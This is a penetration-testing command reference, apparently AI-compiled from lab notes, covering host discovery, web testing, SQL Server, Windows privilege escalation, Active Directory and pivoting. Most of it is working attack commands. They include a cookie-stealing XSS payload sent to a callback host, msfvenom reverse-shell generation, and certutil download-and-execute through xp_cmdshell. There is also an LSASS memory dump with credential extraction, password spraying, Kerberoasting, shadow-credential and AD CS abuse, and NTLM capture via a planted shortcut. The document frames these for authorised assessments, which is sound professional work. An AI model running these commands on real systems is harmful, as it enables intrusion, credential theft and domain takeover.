Command References

Note: This is all written by AI once I feed all of my commands that I used for each lab. Saves me having to write down what I’ve used and why and then dedupe.

These are reusable command patterns for authorised security assessments, drawn from web, Windows, SQL Server and Active Directory work. Each section explains what the command does, what access it needs, and what its output can establish. The examples are independent; choose the command that fits the environment you are assessing.

Table of contents

• How to use this reference
• Host and service discovery
• Offline document password testing
• Web application testing
• SQL Server access and test sessions
• Windows enumeration and privilege checks
• Active Directory and Kerberos
• Remote shell and network pivoting
• Remote desktop access

How to use this reference

The sections move from discovery to service-specific checks, local Windows checks, Active Directory techniques, and remote access. They are a navigation order, not a required attack chain; each example has its own access requirements.

Set uppercase shell variables, such as DOMAIN, DC_IP, TARGET_IP, and WORDLIST, to values from your own environment. Replace strings in square brackets, such as '[PASSWORD]', with the actual value on the command line. Commands in Bash, Windows Command Prompt, PowerShell, Meterpreter and Metasploit use different syntax; run each in the shell named above its code block. Keep filled-in commands and other secrets out of published notes.

Key terms and objects

Authentication as one user and control over another user’s AD object are different things. Password resets and edits to SPNs or key credentials require the specific effective rights on the target object.

Host and service discovery

Map hosts and discover services

Bash

printf '%s\n' "$HOST_IP $HOST_FQDN" | sudo tee -a /etc/hosts
nmap -Pn -p- -T4 -A -vv "$TARGET_IP"

The first command adds one IP-to-name mapping to /etc/hosts; repeat it for each host that needs local name resolution. -Pn tells Nmap to scan even when host discovery does not get a reply, -p- scans all TCP ports, and -A includes service version detection along with other checks, so a separate -sV is redundant. Record which ports were actually open before choosing a service-specific tool.

Enumerate SMB and domain information

Bash

enum4linux-ng -A "$TARGET_IP"

-A runs the tool’s simple enumeration checks for users, groups, shares, policy and other available host or domain details. The results depend on what the target permits without credentials; -A does not include RID cycling. enum4linux-ng usage

Enumerate SMB shares and download a file

Bash

# Try an empty guest password.
smbmap -u 'guest' -p '' -d "$DOMAIN" -H "$SMB_HOST"

# List the contents of one share using the guest account.
smbmap -u 'guest' -p '' -d "$DOMAIN" -H "$SMB_HOST" -s "$SHARE" -r

# Check shares using a domain account.
smbmap -u "$AD_USER" -p '[PASSWORD]' -d "$DOMAIN" -H "$SMB_HOST"

# Download a known remote file from a share.
smbmap -u "$AD_USER" -p '[PASSWORD]' -d "$DOMAIN" -H "$SMB_HOST" --download 'SHARE\folder\file.ext'

smbmap reports the shares and effective read or write access for the supplied identity. -s selects one share and -r lists its contents, with a default depth of one. A file download needs a readable remote path in SHARE\folder\file.ext form. Its --download option takes one remote path; it does not take a second destination argument. Check the reported local output path after downloading. A .lnk file is a Windows shortcut, so inspect its target and metadata separately rather than assuming the shortcut itself proves access to that target. SMBMap usage

Place a shortcut on a writable share and test a captured response

Bash

nxc smb "$SMB_HOST" -u 'guest' -p '' -d "$DOMAIN" -M slinky -o "SERVER=$CALLBACK_IP" NAME=assessment-link "SHARES=$SHARE"

# Only after saving a captured NetNTLMv2 response in this file:
hashcat -m 5600 -a 0 netntlmv2.hash "$WORDLIST"

The slinky module writes an .lnk shortcut to the specified writable share with an icon path pointing at the callback server. A listener must be running there, and another client must resolve the shortcut’s icon before an authentication attempt might reach it. Confirm the share write and an actual captured response separately. Hashcat mode 5600 tests a NetNTLMv2 challenge-response, not a stored NT hash; a capture is not a recovered password. Remove the test shortcut when finished. NetExec slinky module, Hashcat example hashes

Offline document password testing

Test a password-protected PDF

Bash

pdf2john 'downloaded-document.pdf' > document.hash
hashcat -m 10500 -a 0 document.hash "$WORDLIST"
hashcat -m 10500 document.hash --show

pdf2john extracts material for offline password testing; it does not reveal the password by itself. Mode 10500 applies to PDF 1.4–1.6 (Acrobat 5–8). Check the extracted $pdf$ format and select the matching Hashcat mode for other PDF versions. --show reports a recovered password only if a candidate matched. Keep the extracted hash and recovered document contents out of published notes. Hashcat PDF guidance, Hashcat example hashes

Web application testing

Discover web paths and prepare callbacks

Bash

gobuster dir --url "$WEB_URL" --threads 20 -w "$DIR_WORDLIST"
ip -4 addr show tun0
mkdir -p callback
python3 -m http.server 8000 --directory callback

GoBuster tests paths from a wordlist under the supplied URL; response codes and redirects need interpretation in the browser or proxy. ip shows the address on a named VPN interface. The Python server can serve files or log incoming HTTP requests from the callback directory; use an appropriate port and callback address for the test environment. It is not a purpose-built listener or a substitute for checking application responses.

Test blind XSS callbacks

For an authorised blind XSS test, a one-line browser payload can make an HTTP request to a controlled callback endpoint:

<script>fetch('http://[CALLBACK_HOST]:[CALLBACK_PORT]/steal?cookie='+encodeURIComponent(document.cookie))</script>

It only runs if the application renders the input as script in another browser. JavaScript cannot read HttpOnly cookies, so a callback does not by itself show that a session cookie was exposed.

Check object access with IDOR tests

Burp Intruder can test numeric object IDs in a request. For an IDOR check, compare each response using the same account and verify whether an object outside that account’s access is actually returned. A changed ID or status code alone is not proof of unauthorised access.

SQL Server access and test sessions

Open an interactive SQL Server session with Windows authentication

Bash

mssqlpwner "${DOMAIN}/${AD_USER}:[PASSWORD]@${SQL_HOST}" -windows-auth interactive

-windows-auth selects Windows authentication, and interactive opens MSSqlPwner’s interactive mode. The SQL endpoint must be reachable from the current network or tunnel, and a valid domain login does not establish SQL access. Check the authenticated SQL identity and its effective SQL permissions inside the session. Kali MSSqlPwner usage

Inspect SQL Server access with Metasploit

Bash

msfconsole

Metasploit console

use auxiliary/admin/mssql/mssql_enum
set USERNAME [SQL_USER]
set PASSWORD [SQL_PASSWORD]
set RHOSTS [SQL_HOST]
run

mssql_enum checks SQL Server configuration and the privileges of the supplied SQL login. SQL Server’s sysadmin role is a SQL privilege; it is not automatically a Windows or AD login. Check whether xp_cmdshell is enabled and which Windows service identity would run an OS command. Metasploit MSSQL enum source

The separate mssql_exec module runs a command through SQL Server. Set CMD to the single OS command you have chosen and confirm the module’s options in your installed version.

use auxiliary/admin/mssql/mssql_exec
set USERNAME [SQL_USER]
set PASSWORD [SQL_PASSWORD]
set RHOSTS [SQL_HOST]
set CMD whoami
run

mssql_exec can use xp_cmdshell when permitted by the SQL Server configuration. whoami establishes the Windows identity behind command execution without assuming it is SYSTEM. Metasploit MSSQL exec source

Generate and handle a test session

Bash

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST="$CALLBACK_IP" LPORT="$CALLBACK_PORT" -f exe -o callback/test-session.exe
python3 -m http.server 8000 --directory callback

msfvenom creates a Windows executable configured to call the selected listener. Use a dedicated file-serving directory and check that the callback address is reachable from the target network. The payload architecture, platform and listener settings must match. A successful file transfer or SQL command alone does not establish that a session connected.

Metasploit console

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST [CALLBACK_IP]
set LPORT [CALLBACK_PORT]
run

Metasploit console with mssql_exec selected

set CMD cmd.exe /c "certutil -urlcache -split -f http://[CALLBACK_IP]:8000/test-session.exe C:\Windows\Temp\test-session.exe"
run
set CMD C:\Windows\Temp\test-session.exe
run

Windows Command Prompt on the SQL host

certutil -urlcache -split -f "http://[CALLBACK_IP]:8000/test-session.exe" C:\Windows\Temp\test-session.exe
C:\Windows\Temp\test-session.exe

The first command downloads the file from the controlled HTTP server; the second runs it. mssql_exec can supply the Windows command execution context. Use the module’s CMD setting for one command at a time and inspect its output before expecting the handler to receive a session.

Windows enumeration and privilege checks

Run a local Windows enumeration tool

PowerShell on the assessed host

curl.exe -L -o winPEASx64.exe '[WINPEAS_RELEASE_URL]'
.\winPEASx64.exe fast

WinPEAS provides a quick local privilege review. Its findings are leads to verify, and fast does not cover every application or browser artefact. Use the release asset that matches the Windows architecture. PEASS-ng repository

With PrivescCheck.ps1 already on the assessed host, generate text and HTML reports:

Windows Command Prompt or PowerShell

powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report TXT,HTML"

The leading dot and space load the script into the session. The reports are written on the assessed host; inspect the generated filenames and verify each finding before treating it as an escalation path. PrivescCheck usage

Check Windows privileges and local escalation conditions

Meterpreter

getprivs
shell

Windows Command Prompt

whoami /priv
certutil -urlcache -split -f "[GODPOTATO_RELEASE_URL]" C:\Windows\Temp\GodPotato.exe
C:\Windows\Temp\GodPotato.exe -cmd "cmd.exe /c whoami"

getprivs and whoami /priv show the privileges available to the current token. GodPotato is one technique that may use SeImpersonatePrivilege under suitable Windows conditions. Run the one-line whoami check first: a tool starting successfully does not prove that its child command ran as SYSTEM. Download links and compatible builds change, so choose an asset matching the host. GodPotato repository

Inspect a Windows session and analyse an LSASS dump

Windows Command Prompt

dir C:\Users
quser
mkdir C:\Temp
for /f "tokens=2" %P in ('tasklist /fi "imagename eq lsass.exe" /nh') do rundll32.exe C:\Windows\System32\comsvcs.dll,MiniDump %P C:\Temp\lsass.dmp full

dir lists local user profiles and quser lists logged-on sessions. They are clues about who may have used the host, not proof that their secrets are in LSASS. The final command asks comsvcs.dll to write a full dump of the LSASS process using its current PID; it requires sufficient rights and can be blocked by process protection. The %P form is for an interactive Command Prompt; a batch file uses %%P.

Meterpreter

download C:\Temp\lsass.dmp

Bash, after moving the dump to an analysis host

wget -O KvcForensic_Linux.7z '[KVC_RELEASE_URL]'
7z x KvcForensic_Linux.7z -p'[ARCHIVE_PASSWORD]'
chmod +x KvcForensic_static
./KvcForensic_static --analyze-dump --input lsass.dmp --output result.txt --templates KvcForensic.json --format both --full --reveal-secrets
grep -i '[TARGET_USER]' result.txt
hashcat -m 1000 -a 0 ntlm.hash "$WORDLIST"

Download the current KvcForensic release; supply the archive password only if that archive requires one. KvcForensic parses supported LSASS minidumps and needs its matching template JSON file. Its report may contain secrets; inspect it locally and place only the NT hash you intend to test in ntlm.hash. Hashcat mode 1000 is for NTLM hashes, whereas 13100 in the Kerberoasting section is for RC4 service tickets. KvcForensic README

Copy a file using backup privileges

Windows Command Prompt

robocopy /b "C:\path\to\source" "C:\path\to\destination" "file.ext"

/b asks Robocopy to use backup mode. It can allow a suitably privileged token to copy a file despite normal file ACLs; it does not grant those privileges by itself. This is a file-copy operation, not a directory replication or DCSync operation. Check the copied file at the destination and review Robocopy’s exit status rather than treating any nonzero code as failure. Backup Operators rights, directory replication rights

Active Directory and Kerberos

Collect AD relationships with SharpHound

PowerShell on a domain-connected host

curl.exe -L -o SharpHound.zip '[SHARPHOUND_RELEASE_URL]'
Expand-Archive -Path .\SharpHound.zip -DestinationPath .\SharpHound
.\SharpHound\SharpHound.exe -c all --ldapusername '[AD_USER]' --ldappassword '[PASSWORD]' -d '[DOMAIN]'

SharpHound collects directory and host relationship data for BloodHound. The account supplied after --ldapusername needs the matching inline --ldappassword; the output archive is named by the run, so use the actual filename when importing it. Read relationships as effective rights on specific objects, then confirm the relevant right before modifying an account. SharpHound repository

Meterpreter, when the collection ran in a remote session

download C:\Temp\SharpHound\[COLLECTION_ZIP]

Collect AD relationships from Linux

Bash

bloodhound-python -u "$AD_USER" -p '[PASSWORD]' -d "$DOMAIN" -ns "$DC_IP" -c all -v

-ns sets the DNS server used for domain lookups, -c all requests all supported collection methods, and -v shows verbose progress. Import the produced data into BloodHound and confirm rights on the specific objects before acting on a path. Authentication or collection alone does not establish control over those objects. BloodHound.py repository

Export domain users and check a discovered default password

Bash

nxc smb "$DC_IP" -u "$AD_USER" -p '[CURRENT_PASSWORD]' --users-export users.txt
nxc smb "$DC_IP" -d "$DOMAIN" -u users.txt -p '[DISCOVERED_PASSWORD]' --continue-on-success

The first command exports discovered usernames to a local file. The second checks one password against that list and continues after a successful login, so each username can be tested. A password found in an onboarding document is only a candidate until a login succeeds. This produces authentication attempts for every listed account; check the domain’s lockout policy and keep the test within scope. NetExec user export, NetExec authentication options

Request service tickets and test them offline

Bash

impacket-GetUserSPNs "${DOMAIN}/${AD_USER}:[PASSWORD]" -dc-ip "$DC_IP" -dc-host "$DC_HOST" -request-user "$SERVICE_USER" -outputfile service.tgs

hashcat -m 13100 -a 0 service.tgs "$WORDLIST"

An account with an SPN can have a service ticket requested for it. The ticket is encrypted with a key derived from that account’s password, so a password candidate can be tested offline. -request-user narrows the request to one service account; -outputfile saves the ticket material. Hashcat mode 13100 applies to Kerberos 5 TGS-REP RC4-HMAC (etype 23). Check the ticket’s $krb5tgs$ format and encryption type before choosing a mode; other types need other modes. -a 0 is a straight wordlist attack. A saved ticket is evidence of a request, while a recovered password requires a successful Hashcat result. Impacket GetUserSPNs source

Rubeus is another way to obtain service ticket material from a Windows session. Run it directly on a domain-connected Windows host, or through Metasploit’s .NET assembly module when that is the session you have:

Windows Command Prompt

Rubeus.exe kerberoast /user:[SERVICE_USER] /simple

Metasploit console

background
use post/windows/manage/execute_dotnet_assembly
set DOTNET_EXE [RUBEUS_EXE_PATH]
set ARGUMENTS kerberoast
set SESSION [SESSION_ID]
run

The Metasploit form shown here requests tickets for the accounts Rubeus finds; the direct command narrows the request to one user. Save the hash output to a file, then select a Hashcat mode based on its encryption type. Rubeus may return AES material rather than an RC4 ticket. Rubeus Kerberoast documentation, Metasploit .NET assembly module

Reset a password when you control the target object

Bash

bloodyad --host "$DC_IP" -d "$DOMAIN" -u "$AD_USER" -p '[CURRENT_PASSWORD]' set password "$TARGET_USER" '[NEW_PASSWORD]'

bloodyAD connects to a domain controller and attempts to set the target account’s password. This works only if the authenticating user has an effective password-reset right over that target account. Having valid credentials does not establish that right. Confirm the result from the tool and, if appropriate, a separate authentication check. bloodyAD usage

The Active Directory PowerShell module offers another way to reset a target account’s password. With RSAT or the AD module available:

PowerShell

Import-Module ActiveDirectory
Set-ADAccountPassword -Identity '[TARGET_DISTINGUISHED_NAME]' -Reset -NewPassword (ConvertTo-SecureString '[NEW_PASSWORD]' -AsPlainText -Force)

-Reset requires the effective reset right on that target; it is not a normal self-service password change. GenericAll on the target object is one possible source of that right, but check the actual relationship and the identity running PowerShell.

Targeted Kerberoasting when an SPN is writable

Bash

python3 targetedKerberoast.py --dc-ip "$DC_IP" -v -d "$DOMAIN" -u "$AD_USER" -p '[PASSWORD]' --request-user "$TARGET_USER" --use-ldaps -o targeted.tgs

hashcat -m 13100 -a 0 targeted.tgs "$WORDLIST"

Ordinary Kerberoasting uses an SPN that already exists. Targeted Kerberoasting can try to add a temporary SPN to an account when the authenticating user can write its servicePrincipalName attribute, request a ticket, and remove the temporary SPN. --request-user limits the target; omit it only when testing all users is in scope. --use-ldaps uses LDAP over TLS, and -o writes the ticket material. Check that a ticket was produced, that the temporary SPN was removed, and that the ticket’s type matches the Hashcat mode. This is an alternative to a password reset when the available AD right is different. targetedKerberoast README

Add a shadow credential and authenticate with PKINIT

Bash

python3 pywhisker.py -d "$DOMAIN" -u "$AD_USER" -p '[PASSWORD]' --target "$TARGET_USER" --action add --filename target-key

python3 PKINITtools/gettgtpkinit.py -cert-pfx target-key.pfx -pfx-pass '[PFX_PASSWORD]' "$DOMAIN/$TARGET_USER" target.ccache

export KRB5CCNAME="$PWD/target.ccache"

pyWhisker adds a key credential to the target account’s msDS-KeyCredentialLink. That requires a right to write this attribute on that specific object. The generated PFX contains a certificate and private key; record the actual filename and generated PFX password from the tool output. This AD change persists until the added key credential is removed. PKINIT then uses the certificate to request a TGT as the target account. A successful gettgtpkinit.py run reports that it saved a TGT to the ccache file and prints an AS-REP encryption key. The DC needs certificate support for PKINIT. pyWhisker README, PKINITtools README

The TGT can be used directly by Kerberos-aware tools. If the NT hash is needed for a separate test, getnthash.py uses the same cached TGT and the AS-REP key from that PKINIT run:

python3 PKINITtools/getnthash.py -dc-ip "$DC_IP" -key '[AS_REP_KEY]' "$DOMAIN/$TARGET_USER"

smbmap -H "$SMB_HOST" -u "$TARGET_USER" -d "$DOMAIN" -k --no-pass --dc-ip "$DC_IP" -vv

Set KRB5CCNAME before running either cache-dependent command. getnthash.py requests a ticket to self with a PAC and recovers the account’s NT hash if the required conditions are met. In the SMB command, -k --no-pass uses the ticket cache rather than asking for a password. Use a hostname or FQDN that matches the Kerberos service name, and verify the resulting identity and share access. PKINITtools README, SMBMap usage

Request an AD CS certificate and test authentication

Bash

certipy-ad find -dc-ip "$DC_IP" -u "$AD_USER@$DOMAIN" -p '[PASSWORD]' -text -enabled -vulnerable

certipy-ad req -dc-ip "$DC_IP" -u "$AD_USER@$DOMAIN" -p '[PASSWORD]' -ca "$CA_NAME" -target "$DC_HOST" -template "$TEMPLATE" -upn "$TARGET_UPN" -sid "$TARGET_SID" -out requested.pfx -debug

certipy-ad auth -pfx requested.pfx -dc-ip "$DC_IP"

# Specify the intended account if it cannot be inferred from the PFX:
certipy-ad auth -pfx requested.pfx -dc-ip "$DC_IP" -username "$TARGET_USER" -domain "$DOMAIN"

find inventories AD CS and filters its report to enabled templates that Certipy considers vulnerable. Review the reported configuration and your effective enrollment rights before using a template. req asks the named certificate authority for a certificate using the named template. -upn and -sid request identity fields for the target account; verify that the SID is the target’s actual SID. A usable certificate depends on enrollment rights, template settings, issuance requirements, and the DC’s certificate-mapping rules. Check the request result and the actual PFX filename. auth then attempts authentication with that certificate; a certificate request alone does not prove authentication as the target. Certipy command reference

To test the issued certificate with NetExec over SMB, use the actual PFX file and intended account:

nxc smb "$DC_IP" --pfx-cert requested.pfx -u "$TARGET_USER"
nxc smb "$DC_IP" --pfx-cert requested.pfx -u "$TARGET_USER" -x 'whoami'

NetExec can authenticate using a PFX and save a Kerberos cache. The second command checks whether the authenticated identity can execute a simple command on the host; a successful SMB login alone does not establish that right. Keep the PFX private because it includes the certificate’s private key. NetExec certificate authentication

If authentication saved a Kerberos cache, select the cache for the identity you intend to use before connecting to a host:

export KRB5CCNAME='/path/to/issued.ccache'
impacket-smbclient -k -no-pass "$DC_HOST"

-k -no-pass tells Impacket to use Kerberos credentials without prompting for a password. Verify the authenticated identity and the service access from the command output. A PFX, a TGT, and an SMB session are three distinct results; confirm each separately.

Remote shell and network pivoting

Connect over WinRM and upload a local assessment tool

Bash

evil-winrm -i "$WINRM_HOST" -u "$AD_USER" -p '[PASSWORD]'

# If you have the account's NT hash instead of its password:
evil-winrm -i "$WINRM_HOST" -u "$AD_USER" -H '[NT_HASH]'

Evil-WinRM session

upload /usr/share/peass/winpeas/winPEAS.bat

The commands attempt WinRM login with either a password or the account’s NT hash; -H takes the NT half, not an LM:NT pair. upload copies the named local file into the remote session’s current directory; it does not run it. Check that the file exists on both systems and that the account can use WinRM. A recovered NT hash does not by itself establish that WinRM is enabled or the account has remoting rights. Evil-WinRM usage

Establish a Ligolo-ng tunnel

Bash on the Linux proxy host

sudo ip tuntap add user "$USER" mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert

In the proxy console, run certificate_fingerprint and copy the fingerprint it prints for this proxy certificate.

PowerShell on the Windows agent host

.\agent.exe -connect [CALLBACK_IP]:11601 -accept-fingerprint [PROXY_CERT_FINGERPRINT]

The agent connects back to the proxy and pins its TLS certificate by fingerprint. An agent connection alone does not route traffic: select its session in the proxy, start the tunnel on ligolo, and add a route for the network reachable through that agent. Use the proxy’s current fingerprint rather than a value copied from another lab run. Ligolo-ng quickstart

To reach a service bound to the agent’s own loopback address, route Ligolo-ng’s special destination through the tunnel:

sudo ip route add 240.0.0.1/32 dev ligolo

With the tunnel active, 240.0.0.1 maps to 127.0.0.1 on the selected agent. It is not the agent’s regular network address; use it as $SQL_HOST only when the SQL service is bound there. Ligolo-ng local ports

Remote desktop access

Connect to a host over RDP

Bash

nxc rdp "$RDP_HOST" -u "$RDP_USER" -p '[PASSWORD]' --verbose
mkdir -p rdp && cd rdp
xfreerdp3 /v:"$RDP_HOST" /u:"$RDP_USER" /p:'[PASSWORD]' +clipboard /dynamic-resolution /drive:"$(pwd),share"

nxc rdp checks the supplied account against RDP on the named host. xfreerdp3 opens the interactive session: /v selects the host, /u the account, +clipboard shares the clipboard, /dynamic-resolution follows window size changes, and /drive makes the current local directory available inside the session as share. Quote a password containing shell characters: an unquoted $$ is expanded by a Bash-like shell to its process ID. A command-line password can still appear in shell history or process listings. RDP access is a separate question from SMB access.